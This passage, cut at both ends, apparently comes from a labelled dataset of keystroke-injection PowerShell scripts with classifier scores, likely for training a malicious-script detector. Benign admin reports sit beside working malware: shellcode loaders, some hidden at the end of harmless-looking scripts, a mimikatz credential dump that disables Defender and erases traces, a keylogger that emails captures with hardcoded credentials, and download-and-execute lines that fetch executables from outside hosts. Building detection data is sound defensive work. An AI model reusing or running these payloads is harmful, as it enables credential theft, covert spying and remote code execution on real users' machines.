0xdb,0xc1,0xd9,0x74,0x24,0xf4,0x5e,0x31,0xc9,0xba,0x7c,0x41,0x82,0x8e,0xb1,0x47,0x31,0x56,0x18,0x03,0x56,0x18,0x83,0xee,0x80,0xa3,0x77,0x72,0x90,0xa6,0x78,0x8b,0x60,0xc7,0xf1,0x6e,0x51,0xc7,0x66,0xfa,0xc1,0xf7,0xed,0xae,0xed,0x7c,0xa3,0x5a,0x66,0xf0,0x6c,0x6c,0xcf,0xbf,0x4a,0x43,0xd0,0xec,0xaf,0xc2,0x52,0xef,0xe3,0x24,0x6b,0x20,0xf6,0x25,0xac,0x5d,0xfb,0x74,0x65,0x29,0xae,0x68,0x02,0x67,0x73,0x02,0x58,0x69,0xf3,0xf7,0x28,0x88,0xd2,0xa9,0x23,0xd3,0xf4,0x48,0xe0,0x6f,0xbd,0x52,0xe5,0x4a,0x77,0xe8,0xdd,0x21,0x86,0x38,0x2c,0xc9,0x25,0x05,0x81,0x38,0x37,0x41,0x25,0xa3,0x42,0xbb,0x56,0x5e,0x55,0x78,0x25,0x84,0xd0,0x9b,0x8d,0x4f,0x42,0x40,0x2c,0x83,0x15,0x03,0x22,0x68,0x51,0x4b,0x26,0x6f,0xb6,0xe7,0x52,0xe4,0x39,0x28,0xd3,0xbe,0x1d,0xec,0xb8,0x65,0x3f,0xb5,0x64,0xcb,0x40,0xa5,0xc7,0xb4,0xe4,0xad,0xe5,0xa1,0x94,0xef,0x61,0x05,0x95,0x0f,0x71,0x01,0xae,0x7c,0x43,0x8e,0x04,0xeb,0xef,0x47,0x83,0xec,0x10,0x72,0x73,0x62,0xef,0x7d,0x84,0xaa,0x2b,0x29,0xd4,0xc4,0x9a,0x52,0xbf,0x14,0x23,0x87,0x2a,0x10,0xb3,0x7d,0xcd,0x54,0xb4,0x16,0x13,0x69,0x3b,0x5c,0x9a,0x8f,0x6b,0xf2,0xcd,0x1f,0xcb,0xa2,0xad,0xcf,0xa3,0xa8,0x21,0x2f,0xd3,0xd2,0xeb,0x58,0x79,0x3d,0x42,0x30,0x15,0xa4,0xcf,0xca,0x84,0x29,0xda,0xb6,0x86,0xa2,0xe9,0x47,0x48,0x43,0x87,0x5b,0x3c,0xa3,0xd2,0x06,0xea,0xbc,0xc8,0x2d,0x12,0x29,0xf7,0xe7,0x45,0xc5,0xf5,0xde,0xa1,0x4a,0x05,0x35,0xba,0x43,0x93,0xf6,0xd4,0xab,0x73,0xf7,0x24,0xfa,0x19,0xf7,0x4c,0x5a,0x7a,0xa4,0x69,0xa5,0x57,0xd8,0x22,0x30,0x58,0x89,0x97,0x93,0x30,0x37,0xce,0xd4,0x9e,0xc8,0x25,0xe5,0xe3,0x1e,0x03,0x93,0x0d,0xa3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$6qpx=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($6qpx.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$6qpx,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2329957e-05,0.99994767
"win+r powershell enter class Backend : BaseLogger { enter [string]$Name enter [string]$BotId enter [Connection]$Connection enter [hashtable]$Users = @{} enter [hashtable]$Rooms = @{} enter [System.Collections.ArrayList]$IgnoredMessageTypes = (New-Object System.Collections.ArrayList) enter [bool]$LazyLoadUsers = $false enter Backend() {} enter [void]SendMessage([Response]$Response) { enter throw 'Implement me!' enter } enter [void]AddReaction([Message]$Message, [ReactionType]$Type, [string]$Reaction) { enter throw 'Implement me!' enter } enter [void]AddReaction([Message]$Message, [ReactionType]$Type) { enter $this.AddReaction($Message, $Type, [string]::Empty) enter } enter [void]RemoveReaction([Message]$Message, [ReactionType]$Type, [string]$Reaction) { enter throw 'Implement me!' enter } enter [void]RemoveReaction([Message]$Message, [ReactionType]$Type) { enter $this.RemoveReaction($Message, $Type, [string]::Empty) enter } enter [Message[]]ReceiveMessage() { enter throw 'Implement me!' enter } enter [void]Ping() { enter } enter [Person]GetUser([string]$UserId) { enter throw 'Implement me!' enter } enter [void]Connect() { enter $this.Connection.Connect() enter } enter [void]Disconnect() { enter $this.Connection.Disconnect() enter } enter [void]LoadUsers() { enter throw 'Implement me!' enter } enter [void]LoadRooms() { enter throw 'Implement me!' enter } enter [string]GetBotIdentity() { enter throw 'Implement me!' enter } enter [string]UsernameToUserId([string]$Username) { enter throw 'Implement me!' enter } enter [string]UserIdToUsername([string]$UserId) { enter throw 'Implement me!' enter } enter [hashtable]GetUserInfo([string]$UserId) { enter throw 'Implement me!' enter } enter [string]ChannelIdToName([string]$ChannelId) { enter throw 'Implement me!' enter } enter [Message]ResolveFromName([Message]$Message) { enter throw 'Implement me!' enter } enter [Message]ResolveToName([Message]$Message) { enter throw 'Implement me!' enter } enter } enter",0,0,0.9996947,0.0003053006
"win+r powershell enter try { $poshgitPath = join-path (Get-ToolsLocation) 'poshgit' try { if (test enter -path($poshgitPath)) { Write-Host ""Attempting to remove existing `'$poshgitPath enter `'."" remove-item $poshgitPath -recurse -force } } catch { Write-Host ""Could enter not remove `'$poshgitPath`'"" } enter enter",1,1,0.008531322,0.99146867
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_2was3wmn"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Export-Csv -Path (Join-Path $ReportDir ""disk_filesystem_provider.csv"") -NoTypeInformation enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.json"") -Encoding UTF8 enter",0,0,0.99996555,3.4495944e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_ju4ayb4w"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_path_entries.csv"") -NoTypeInformation enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_system_warnings_100.csv"") -NoTypeInformation enter",0,0,0.9999664,3.3585995e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_biuoqhmj"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.txt"") -Encoding UTF8 enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.429595e-05
"win r powershell ""rm $env:TEMP\lsass.DMP"" enter win r taskmgrctrl shift enter alt y down lsassshift f10 up enter enter alt f4 win r powershell.exectrl shift enter alt y if((Get-MpComputerStatus).RealTimeProtectionEnabled){Set-MpPreference -ExclusionPath $env:TEMP} enter wget #SERVER_URL/mimikatz.exe -o $env:TEMP\mimikatz.exe enter cd $env:TEMP enter .\mimikatz.exe ""privilege::debug"" enter log exfiltration.log enter sekurlsa::minidump lsass.DMP enter sekurlsa::logonpasswords enter ctrl c cat .\exfiltration.log | Select-String -Pattern ""NTLM"" -Context 2,0 | Get-Unique > credentials.txt enter $d=(Get-Volume -FileSystemLabel 'DUCKY').DriveLetter enter mkdir #exfil_dir enter mv -Force $env:TEMP\exfiltration.log #exfil_dir enter mv -Force $env:TEMP\credentials.txt #exfil_dir enter rm $env:TEMP\lsass.DMP enter rm $env:TEMP\mimikatz.exe enter Remove-MpPreference -ExclusionPath $env:TEMP enter Clear-Variable -Name d enter rm (Get-PSReadLineOption).HistorySavePath enter",1,1,0.0003137331,0.99968624
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_49hjw7ug"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 150 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object DisplayName | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Export-Csv -Path (Join-Path $ReportDir ""service_automatic.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3891818e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_ypc8xnf6"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.json"") -Encoding UTF8 enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 30 Name, Id, CPU, WorkingSet64 | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_30.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996483,3.5153116e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_ij1wv8hg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service -Name ""*network*"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""service_service_name_pattern.csv"") -NoTypeInformation enter",0,0,0.9999666,3.334746e-05
"win+r enter powershell enter enter enter # Edit only this section! enter $TimesToRun = 2 enter $RunTimeP = 1 enter $From = ""defensauser1@gmail.com"" enter $Pass = ""depredad0r"" enter $To = ""defensauser2@gmail.com"" enter $Subject = ""Keylogger Results"" enter $body = ""Keylogger Results"" enter $SMTPServer = ""smtp.mail.com"" enter $SMTPPort = ""587"" enter $credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force) enter ############################ enter #requires -Version 2 enter function Start-KeyLogger($Path=""$env:temp\keylogger.txt"") enter { enter # Signatures for API Calls enter $signatures = @' enter [DllImport(""user32.dll"", CharSet=CharSet.Auto, ExactSpelling=true)] enter public static extern short GetAsyncKeyState(int virtualKeyCode); enter [DllImport(""user32.dll"", CharSet=CharSet.Auto)] enter public static extern int GetKeyboardState(byte[] keystate); enter [DllImport(""user32.dll"", CharSet=CharSet.Auto)] enter public static extern int MapVirtualKey(uint uCode, int uMapType); enter [DllImport(""user32.dll"", CharSet=CharSet.Auto)] enter public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); enter '@ enter enter # load signatures and make members available enter $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru enter enter # create output file enter $null = New-Item -Path $Path -ItemType File -Force enter enter try enter { enter enter # create endless loop. When user presses CTRL+C, finally-block enter # executes and shows the collected key presses enter $Runner = 0 enter while ($TimesToRun -gt $Runner) { enter $TimeStart = Get-Date enter $TimeEnd = $timeStart.addminutes($RunTimeP) enter while ($TimeEnd -gt $TimeNow) { enter Start-Sleep -Milliseconds 40 enter enter # scan all ASCII codes above 8 enter for ($ascii = 9; $ascii -le 254; $ascii++) { enter # get current key state enter $state = $API::GetAsyncKeyState($ascii) enter enter # is key pressed? enter if ($state -eq -32767) { enter $null = [console]::CapsLock enter enter # translate scan code to real code enter $virtualKey = $API::MapVirtualKey($ascii, 3) enter enter # get keyboard state for virtual keys enter $kbstate = New-Object Byte[] 256 enter $checkkbstate = $API::GetKeyboardState($kbstate) enter enter # prepare a StringBuilder to receive input key enter $mychar = New-Object -TypeName System.Text.StringBuilder enter enter # translate virtual key enter $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0) enter enter if ($success) enter { enter # add key to logger file enter [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) enter } enter } enter } enter $TimeNow = Get-Date enter } enter $Runner++ enter send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl enter Remove-Item -Path $Path -force enter } enter } enter finally enter { enter # open logger file in Notepad enter exit 1 enter } enter } enter enter # records all key presses until script is aborted by pressing CTRL+C enter # will then open the file with collected key codes enter Start-KeyLogger enter enter",1,1,9.363012e-05,0.9999064
"win+r powershell enter (New-Object System.Net.WebClient).DownloadFile('http://net.gethost.pw/windro.exe enter ','fleeble.exe');Start-Process 'fleeble.exe' enter enter",1,1,5.7338417e-05,0.99994266
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_w7w4932m"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_profiles.csv"") -NoTypeInformation enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 40 Name, Id, CPU, WorkingSet64, Handles | enter Export-Csv -Path (Join-Path $ReportDir ""process_process_overview_40.csv"") -NoTypeInformation enter",0,0,0.99996567,3.4335288e-05
"win+r enter powershell enter enter enter  enter Clear-Host enter $app = ,@() enter Set-Variable -Name Count -Scope Global -Value 1 -Force enter Set-Variable -Name OS -Scope Global -Force enter Set-Variable -Name RelativePath -Scope Global -Force enter enter Function RenameWindow ($Title) { enter Set-Variable -Name a -Scope Local -Force enter enter $a = (Get-Host).UI.RawUI enter $a.WindowTitle = $Title enter Remove-Variable -Name a -Scope Local -Force enter } enter enter Function AppInstalled($Description) { enter Set-Variable -Name AppName -Scope Local -Force enter Set-Variable -Name AppLocal -Scope Local -Force enter Set-Variable -Name Desc -Scope Local -Force enter Set-Variable -Name Output -Scope Local -Force enter enter $object = New-Object -TypeName PSObject enter enter $Desc = [char]34+""description like""+[char]32+[char]39+[char]37+$Description+[char]37+[char]39+[char]34 enter $Output = wmic product where $Desc get Description enter $Output | ForEach-Object { enter $_ = $_.Trim() enter if(($_ -ne ""Description"")-and($_ -ne """")){ enter $AppName = $_ enter } enter } enter $AppLocal = New-Object System.Object enter $AppLocal | Add-Member -type NoteProperty -name Application -value $Description enter If ($AppName -ne $null) { enter enter $AppLocal | Add-Member -type NoteProperty -name Status -value ""Installed"" enter enter } else { enter enter $AppLocal | Add-Member -type NoteProperty -name Status -value ""Not Installed"" enter } enter $Global:app += $AppLocal enter $AppLocal | Select Application enter $Global:Count++ enter Remove-Variable -Name AppName -Scope Local -Force enter Remove-Variable -Name AppLocal -Scope Local -Force enter Remove-Variable -Name Desc -Scope Local -Force enter Remove-Variable -Name Output -Scope Local -Force enter enter } enter enter cls enter Write-Host ""Processing Applications"" enter Write-Host enter RenameWindow ""Check Build Installs"" enter AppInstalled ""Dell Client System Update"" enter AppInstalled ""Adobe Reader"" enter AppInstalled ""Microsoft Lync"" enter AppInstalled ""Remote Desktop"" enter AppInstalled ""Interactive Admin"" enter AppInstalled ""RunAs Admin"" enter AppInstalled ""Windows Backup"" enter cls enter Write-Host ""Installation Report"" enter Write-Host enter $app | Format-Table enter $app.Clear() enter Remove-Variable -Name Count -Scope Global -Force enter Remove-Variable -Name OS -Scope Global -Force enter Remove-Variable -Name RelativePath -Scope Global -Force enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0xb7,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1284787e-05,0.99994874
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_za2uqhyo"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetRoute | enter Select-Object -First 100 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_routes.json"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_pnp_devices.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4283556e-05
win+r powershell enter function Test-WildcardPattern { [CmdletBinding()] [OutputType([bool])] param( enter [Parameter(Mandatory=$true)] [ValidateNotNull()] $Name ) return [System.M enter anagement.Automation.WildcardPattern]::ContainsWildcardCharacters($Name) } enter enter,1,0,0.9798924,0.02010762
"win+r enter powershell enter enter enter function Get-NetFrameworkTypeAccelerator enter { enter enter [Alias('Get-Acceletrator')] enter PARAM () enter [System.Management.Automation.PSObject].Assembly.GetType(""System.Management.Automation.TypeAccelerators"")::get enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x89,0x80,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1238003e-05,0.99994874
"win+r enter powershell enter enter enter enum DiscordMessageType { enter DEFAULT = 0 enter RECIPIENT_ADD = 1 enter RECIPIENT_REMOVE = 2 enter CALL = 3 enter CHANNEL_NAME_CHANGE = 4 enter CHANNEL_ICON_CHANGE = 5 enter CHANNEL_PINNED_MESSAGE = 6 enter GUILD_MEMBER_JOIN = 7 enter USER_PREMIUM_GUILD_SUBSCRIPTION = 8 enter USER_PREMIUM_GUILD_SUBSCRIPTION_TIER_1 = 9 enter USER_PREMIUM_GUILD_SUBSCRIPTION_TIER_2 = 10 enter USER_PREMIUM_GUILD_SUBSCRIPTION_TIER_3 = 11 enter } enter enter class DiscordMessage : Message { enter [DiscordMessageType]$MessageType = [DiscordMessageType]::DEFAULT enter enter DiscordMessage( enter [string]$To, enter [string]$From, enter [string]$Text = [string]::Empty enter ) { enter $this.To = $To enter $this.From = $From enter $this.Text = $Text enter } enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,6.058799e-05,0.99993944
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_te3kopy9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.txt"") -Encoding UTF8 enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_path_entries.csv"") -NoTypeInformation enter",0,0,0.999966,3.394399e-05
"win+r powershell enter DUCKY_REAL_BEGIN enter REM Title: JumpScare enter REM Author: I am Jakoby enter REM Description: This payload is meant to torment your target to the fullest extent. Mission to JumpScare. See JumpScare.ps1 for more details enter REM Target: Windows 10, 11 enter REM Start by minimizing all their current windows enter GUI m enter DELAY 500 enter REM Remember to replace the link with your link for the intended file to download if you are using a custom variation of this payload enter REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly enter REM -------------------------------------------------------------------------------------- enter REM THIS PAYLOAD IS PLUG AND PLAY. NO MODIFICATIONS NEEDED SIMPLY RUN THE CODE DOWN BELOW. enter REM -------------------------------------------------------------------------------------- enter GUI r enter DELAY 500 enter STRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https://raw.githubusercontent.com/I-Am-Jakoby/hak5-submissions/main/OMG/Payloads/OMG-JumpScare/JumpScare.ps1?dl=1; invoke-expression $pl enter ENTER enter DUCKY_REAL_END enter",1,1,6.213826e-05,0.9999379
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_g2ai3ins"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Export-Csv -Path (Join-Path $ReportDir ""user_current_context.csv"") -NoTypeInformation enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4108016e-05
"win+r enter powershell enter enter enter $storageName = ""<your-unique-storage-name>"" enter $myEndpoint = ""<your-endpoint-URL>"" enter $myResourceGroup=""<resource-group-name>"" enter New-AzResourceGroup -Name $myResourceGroup -Location westus2 enter New-AzStorageAccount -ResourceGroupName $myResourceGroup ` enter -Name $storageName ` enter -Location westus2 ` enter -SkuName Standard_LRS ` enter -Kind BlobStorage ` enter -AccessTier Hot enter $storageId = (Get-AzStorageAccount -ResourceGroupName $myResourceGroup -AccountName $storageName).Id enter New-AzEventGridSubscription ` enter -EventSubscriptionName demoSubToStorage ` enter -Endpoint $myEndpoint ` enter -ResourceId $storageId enter enter",0,0,0.9999324,6.757974e-05
"win+r enter powershell enter enter enter function Copy-File { enter param ( enter [string]$Path, enter [string]$Destination, enter [switch]$Overwrite enter ) enter $files = Get-ChildItem $Path -Recurse -File enter enter $source = (Resolve-Path (Split-Path $Path)).ProviderPath enter enter $Destination = (Resolve-Path $Destination).ProviderPath enter enter [long]$allbytes = ($files | measure -Sum length).Sum enter [long]$total1 = 0 enter enter $index = 0 enter $filescount = $files.Count enter $sw1 = [System.Diagnostics.Stopwatch]::StartNew() enter foreach ($file in $files) { enter $filefullname = $file.fullname enter enter $index++ enter $destdir = Join-Path $Destination $($(Split-Path $filefullname).Replace($source, '')) enter if (!(Test-Path $destdir)) { enter $null = md $destdir enter } enter $num = 1 enter $base = $file.name -replace ""$($file.extension)$"" enter $ext = $file.extension enter $destfile = Join-Path $destdir ""$base$ext"" enter enter if (!$overwrite) { enter while (Test-Path $destfile) 